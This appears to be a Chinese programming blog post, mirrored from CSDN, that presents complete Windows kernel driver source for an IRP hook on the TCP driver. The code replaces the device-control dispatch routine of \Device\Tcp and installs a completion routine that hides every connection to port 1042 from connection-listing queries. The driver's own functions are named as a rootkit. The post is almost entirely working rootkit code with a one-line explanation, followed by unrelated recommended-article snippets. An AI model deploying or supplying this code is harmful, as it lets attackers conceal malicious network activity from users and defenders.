IRPhook_weixin_34384557的博客-程序员ITS201

技术标签: 网络  

原理:
直接IoGetDeviceObjectPointer根据名称获取驱动对象,然后更改分发函数数组元素即可HOOK指定IRP分发函数。
//irphook.h

/// 

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
    PIO_COMPLETION_ROUTINE OldCompletion;
    unsigned long          ReqType;
} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);

//irphook.cpp

#include <ntddk.h>
#include <tdiinfo.h>

#include "irphook.h"

NTSTATUS DriverEntry(
                   IN PDRIVER_OBJECT  DriverObject,
                   IN PUNICODE_STRING RegistryPath
                    )
{

    NTSTATUS                ntStatus;

    OldIrpMjDeviceControl = NULL;

    DriverObject->DriverUnload = RootkitUnload;

    ntStatus = InstallTCPDriverHook();
    if(!NT_SUCCESS(ntStatus)) 
        return ntStatus;

    return STATUS_SUCCESS;
}

NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
//  UNICODE_STRING deviceNameUnicodeString;
//  UNICODE_STRING deviceLinkUnicodeString;        
    UNICODE_STRING deviceTCPUnicodeString;
    //想hook的对象
    WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
    pFile_tcp  = NULL;
    pDev_tcp   = NULL;
    pDrv_tcpip = NULL;

    RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
    //通过名字获取设备对象的指针
    //设备名字  权限  文件对象  设备对象
    ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
    if(!NT_SUCCESS(ntStatus)) 
        return ntStatus;
    //驱动对象
    pDrv_tcpip = pDev_tcp->DriverObject;
    //分发处理例程  保存原始函数用于处理后下发
    OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
    if (OldIrpMjDeviceControl)
        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);

    return STATUS_SUCCESS;
}

//hook
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
    TDIObjectID             *inputBuffer;
    DWORD                   context;

    //DbgPrint("The current IRP is at %x\n", Irp);

    irpStack = IoGetCurrentIrpStackLocation (Irp);

    switch (irpStack->MajorFunction) 
    {
        case IRP_MJ_DEVICE_CONTROL:
            if ((irpStack->MinorFunction == 0) && \
                (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
            {
                ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
                ioTransferType &= 3;
                if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer
                {
                    inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

                    // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
                    if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
                    { 
                        // DbgPrint("Input buffer %x\n",inputBuffer);
                        if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
                        {
                            // Call our completion routine if IRP successful
                            irpStack->Control = 0;
                            irpStack->Control |= SL_INVOKE_ON_SUCCESS; 

                            // Save old completion routine if present
                            irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePoolWithTag(NonPagedPool, sizeof(REQINFO), 'PRI');

                            ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 
                            ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

                            // Setup our function to be called on completion of IRP
                            irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
                        }
                    }
                }
            }
        break;

        default:
        break;
    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);
}

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 
                             IN PIRP Irp, 
                             IN PVOID Context)
{
    PVOID OutputBuffer;
    DWORD NumOutputBuffers;
    PIO_COMPLETION_ROUTINE p_compRoutine;
    DWORD i;

    // Connection status values:
    // 0 = Invisible
    // 1 = CLOSED
    // 2 = LISTENING
    // 3 = SYN_SENT
    // 4 = SYN_RECEIVED
    // 5 = ESTABLISHED
    // 6 = FIN_WAIT_1
    // 7 = FIN_WAIT_2
    // 8 = CLOSE_WAIT
    // 9 = CLOSING
    // ...

    OutputBuffer = Irp->UserBuffer;
    p_compRoutine = ((PREQINFO)Context)->OldCompletion;

    if (((PREQINFO)Context)->ReqType == 0x101)
    {
        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
        for(i = 0; i < NumOutputBuffers; i++)
        {
            // Hide all Web connections
            if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 1042)
                ((PCONNINFO101)OutputBuffer)[i].status = 0;
        }
    }
    else if (((PREQINFO)Context)->ReqType == 0x102)
    {
        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
        for(i = 0; i < NumOutputBuffers; i++)
        {
            // Hide all Web connections
            if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 1042)
                ((PCONNINFO102)OutputBuffer)[i].status = 0;
        }
    }
    else if (((PREQINFO)Context)->ReqType == 0x110)
    {
        NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
        for(i = 0; i < NumOutputBuffers; i++)
        {
            // Hide all Web connections
            if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 1042)
                ((PCONNINFO110)OutputBuffer)[i].status = 0;
        }
    }

    ExFreePool(Context);

    /*
    for(i = 0; i < NumOutputBuffers; i++)
    {
        DbgPrint("Status: %d",OutputBuffer[i].status);
        DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
        DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
    }*/

    if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
    {
        return (p_compRoutine)(DeviceObject, Irp, NULL);
    }
    else
    {
        return Irp->IoStatus.Status;
    }
}

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    if (OldIrpMjDeviceControl)
        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);    
    if (pFile_tcp != NULL)
        ObDereferenceObject(pFile_tcp);
    pFile_tcp = NULL;

    return STATUS_SUCCESS;
}

转载于:https://blog.51cto.com/haidragon/2307152

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_34384557/article/details/93088629

智能推荐

csdn-爬虫 ip代理_bihackers的博客-程序员ITS201

1 .微信小程序开发官方文档 2 .CSDN博文精选 微信小程序全方位解析 3 .一名Android开发者的微信小程序填坑之路(1) 4 .微信直播在小程序上使用 5 .Android 实现微信,QQ的程序前后台切换:back键切换后台;点击通知栏恢复前台。 6 .「微信小程序」有哪些冲击与机会? 7 .微信小程序简单教程 8 .微信小程序入门教程+案例demo 9 .目前为止最全

mysql 安全策略_袋鼠mysql的博客-程序员ITS201

MySQL被运用于越来越多的业务中,在关键业务中对数据安全性的要求也更高,如何保证MySQL的数据安全。 数据安全如果只靠MySQL应用层面显然是不够的,是需要在多个层面来保护的,包括网络、系统、逻辑应用层、数据库层等。 下面是我们可借鉴的一些安全策略。 1、网络、系统层面 在这个层面可以做很多的事情,我们可以把这些安全要求作为新系统安装时的标准要求,放到自动化装机方案中。 把运行MyS...

python通过nmap扫描在线设备并尝试AAA登录_曹世宏的博客的博客-程序员ITS201

如果管理网络设备很多,不可能靠人力每天去登录设备去查看是否在线。所以,可以利用python脚本通过每天扫描网络中的在线设备。可以部署在服务器上做成定时任务,每天发送AAA巡检报告。下面是我写的一个python练手小程序。用来扫描一个网段中的在线主机,并尝试AAA去登录。统计一个大网段内可以成功aaa登录的主机。注意:该程序只是测试小程序,还有些小bug需要解决。不是通用的程序。主要提供一...

js中数组(Array)的排序(sort)注意事项_随风忘记的博客-程序员ITS201

直接看代码吧,测试结果也贴在里面了  var arrDemo = new Array(); arrDemo[0] = 10; arrDemo[1] = 50; arrDemo[2] = 51; arrDemo[3] = 100; arrDemo.sort(); //调用sort方法后,数组本身会被改变,即影响原数组 alert(arrDemo);//10

2022-2028年中国嵌入式系统行业市场专项调研及竞争战略分析报告_m0_66885176的博客-程序员ITS201

报告类型:产业研究报告格式:电子版、纸介版出品单位:智研咨询-产业信息网 嵌入式系统由硬件和软件组成.是能够独立进行运作的器件。其软件内容只包括软件运行环境及其操作系统。硬件内容包括信号处理器、存储器、通信模块等在内的多方面的内容。相比于一般的计算机处理系统而言,嵌入式系统存在较大的差异性, 它不能实现大容量的存储功能,因为没有与之相匹配的大容量介质,大部分采用的存储介质有E-PROM、EEPROM DENG等, 软件部分以API编程接口作为开发平台的核心。 智研咨询发布...

单片机常用的14个C语言算法,看过的都成了大神!_weixin_42976659的博客-程序员ITS201

算法(Algorithm):计算机解题的基本思想方法和步骤。算法的描述:是对要解决一个问题或要完成一项任务所采取的方法和步骤的描述,包括需要什么数据(输入什么数据、输出什么结果)、采用什么结构、使用什么语句以及如何安排这些语句等。通常使用自然语言、结构化流程图、伪代码等来描述算法。一、计数、求和、求阶乘等简单算法此类问题都要使用循环,要注意根据问题确定循环变量的初值、终值或结束条件,更要注意...

随便推点

Spring Boot(02)——Maven插件支持_elim168的博客-程序员ITS201

Spring Boot Maven插件Spring Boot提供了一个Maven插件,在指定了spring-boot-starter-parent为项目的parent后,在项目中可以进行如下定义来配置Spring Boot的Maven插件。该plugin主要提供了两个goal,run和repackage,run用来运行当前Spring Boot工程,repackage则用来将项目重新打包。&l...

java hibernate 连接mssql :Cannot load JDBC driver class ‘com.microsoft.sqlserver.jdbc.SQLServerDriver_%[email protected]的博客-程序员ITS201

java hibernate 连接mssql :每次配置hibernate 都遇到这个错误:Cannot load JDBC driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver把个人配置记下来,供大家参考。1. hibernate.cfg.xml相关配置。 &lt;!-- 数据库连接配置 --&gt; &lt;property name="hibernate.connection.driver_class"&gt.

人工智能真的会取代前端开发吗?_非著名程序员_的博客-程序员ITS201

前言相信不少人看过一篇人工智能已经能实现自动编写HTML,CSS的文章,人工智能开始取代前端的一部分工作。消息一出便激起了很多前端工程师的恐慌和讨论,很多刚刚准备学习前端开发的小伙伴也开始犹豫不决。前端开发行业真的被人工智能取代吗?答案是,不会的。原因有三个1、前端技术繁杂,技术取代为时过早先来看一则招聘启事看岗位职责就知道了,前端攻城狮的日常工作远没有大家想象得那么简单。一名合格的前端工程师,除

controller类写法参考_TechOnly1988的博客-程序员ITS201

package com.lenovo.lps.psb.simdevice.web;import org.apache.commons.lang.StringUtils;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.A

python 如何将日期写入Excel并显示为日期格式_xue_11的博客-程序员ITS201_python设置excel的日期格式

openpyxl模块之写入日期简介具体用法运行结果简介需要将字符串写入Excel中,并让该字符串在Excel显示为日期格式。1、将字符串写入Excel中,格式为“yyyy/m/d”2、再设置该字符串所在单元格的样式为水平居中、垂直居中具体用法import datetimefrom openpyxlfrom openpyxl.styles import Alignmentwb = openpyxl.Workbook() # 创建工作簿ws = wb.active

推荐文章

热门文章

相关标签